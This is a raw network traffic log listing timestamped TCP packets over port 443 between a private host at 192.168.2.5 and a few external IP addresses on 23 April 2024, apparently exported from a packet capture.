Apr 23, 2024 21:53:41.849503040 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.849534035 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.849539995 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.849572897 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.849596024 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.851496935 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.851519108 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.851582050 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.851588011 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.851746082 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.885340929 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.885392904 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.885437012 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.885469913 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.885488987 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.886094093 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886152983 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.886161089 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886363983 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886460066 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886507988 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.886514902 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886585951 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886611938 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.886619091 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.886670113 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.886676073 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.932621956 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.932651997 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.936402082 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.936579943 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.936599016 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.936917067 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.937035084 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.937043905 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.937640905 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.937688112 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.937716961 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.937730074 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.937761068 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.939393997 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.939436913 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.939470053 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.939483881 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.939527988 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.941179037 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.941220045 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.941255093 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.941267014 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.941296101 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.941318989 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.942890882 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.942934036 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.942965031 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.942974091 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.943007946 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.943031073 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.945071936 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.945117950 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.945146084 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.945156097 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.945202112 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.945956945 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946012974 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946021080 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.946039915 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946075916 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.946871042 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946913958 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946959972 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.946968079 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.946983099 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.947010994 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.947017908 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.947137117 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.947604895 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.947937012 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.948028088 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.948036909 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.948504925 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.948559046 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.948565960 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.948718071 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.948816061 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.948822021 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949085951 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949141979 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.949147940 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949347019 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949403048 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.949409962 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949796915 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.949860096 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.950711012 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.950727940 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.009943962 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.014905930 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.014926910 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.018699884 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.018781900 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.019438982 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.019613981 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.019614935 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.060120106 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.062254906 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.062273979 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.078952074 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:42.104990005 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.120162010 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:42.161875010 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.161952019 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.162054062 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.162653923 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.162688971 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.194888115 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:42.195250034 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:42.195344925 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:42.197382927 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:42.197432995 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:42.281800985 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.281975031 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.282118082 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.304563046 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.304661036 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.304766893 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.305984974 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.306020021 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.309652090 CEST	49747	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.309679985 CEST	443	49747	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.384083033 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.388286114 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.388319016 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.389419079 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.391017914 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.391196012 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.391222954 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.391311884 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.391407013 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.533797979 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.534152031 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.534190893 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.535792112 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.535872936 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.538065910 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.538155079 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.538705111 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.538717985 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.588535070 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.673890114 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674101114 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674176931 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.674192905 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674221992 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674329042 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.674344063 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674428940 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674549103 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674565077 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.674572945 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674685001 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.674691916 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674715996 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674792051 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.674803972 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674936056 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.674995899 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.675003052 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675081015 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675184011 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.675189972 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675421953 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675472021 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.675477982 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675710917 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675952911 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.675959110 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.675981998 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.676033020 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.676059961 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.676373005 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.676443100 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.676450968 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.676752090 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.676806927 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.676812887 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677175999 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677231073 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.677258015 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677514076 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677561045 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.677567959 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677774906 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.677826881 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.677834034 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678178072 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678239107 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.678246021 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678436995 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678505898 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.678513050 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678848982 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.678930044 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.678941965 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.679238081 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.679299116 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.679306030 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.679666042 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.679724932 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.679733038 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.680232048 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.680294991 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.680305004 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.680726051 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.680779934 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.680787086 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681205034 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681267023 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.681274891 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681679010 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681747913 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.681755066 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681942940 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.681991100 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.681998014 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682156086 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682218075 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.682224989 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682241917 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682291031 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.682298899 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682343006 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.682349920 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682797909 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.682859898 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.682866096 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.683240891 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.683649063 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.683705091 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.683712959 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.683908939 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.683964968 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.683971882 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.684016943 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.684025049 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.684416056 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.684479952 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.684503078 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.684811115 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.684864044 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.684870958 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.728509903 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.728532076 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.765873909 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.766292095 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.766383886 CEST	443	49749	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.766567945 CEST	49749	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.767018080 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.767107010 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.767200947 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.767520905 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:42.767559052 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:42.776659012 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.778441906 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.778964996 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779042959 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.779067039 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779262066 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779325008 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.779334068 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779434919 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779480934 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.779486895 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779613972 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.779661894 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.779668093 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780040026 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780086040 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.780093908 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780240059 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780292988 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.780298948 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780399084 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780447960 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780448914 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.780468941 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.780513048 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.780519962 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.781694889 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.781758070 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.781769037 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.781837940 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.781882048 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.781888962 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782013893 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782044888 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782066107 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.782073975 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782363892 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.782371998 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782721043 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782777071 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.782785892 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782903910 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.782958984 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.782965899 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.783020973 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.783082962 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.783090115 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784238100 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784308910 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784311056 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784323931 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784377098 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784389973 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784507990 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784548044 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784593105 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784615040 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784624100 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784653902 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784670115 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784764051 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784812927 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784813881 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784826040 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784869909 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784876108 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784920931 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.784929037 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.784991026 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.785039902 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.785047054 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.785834074 CEST	443	49748	104.17.3.184	192.168.2.5
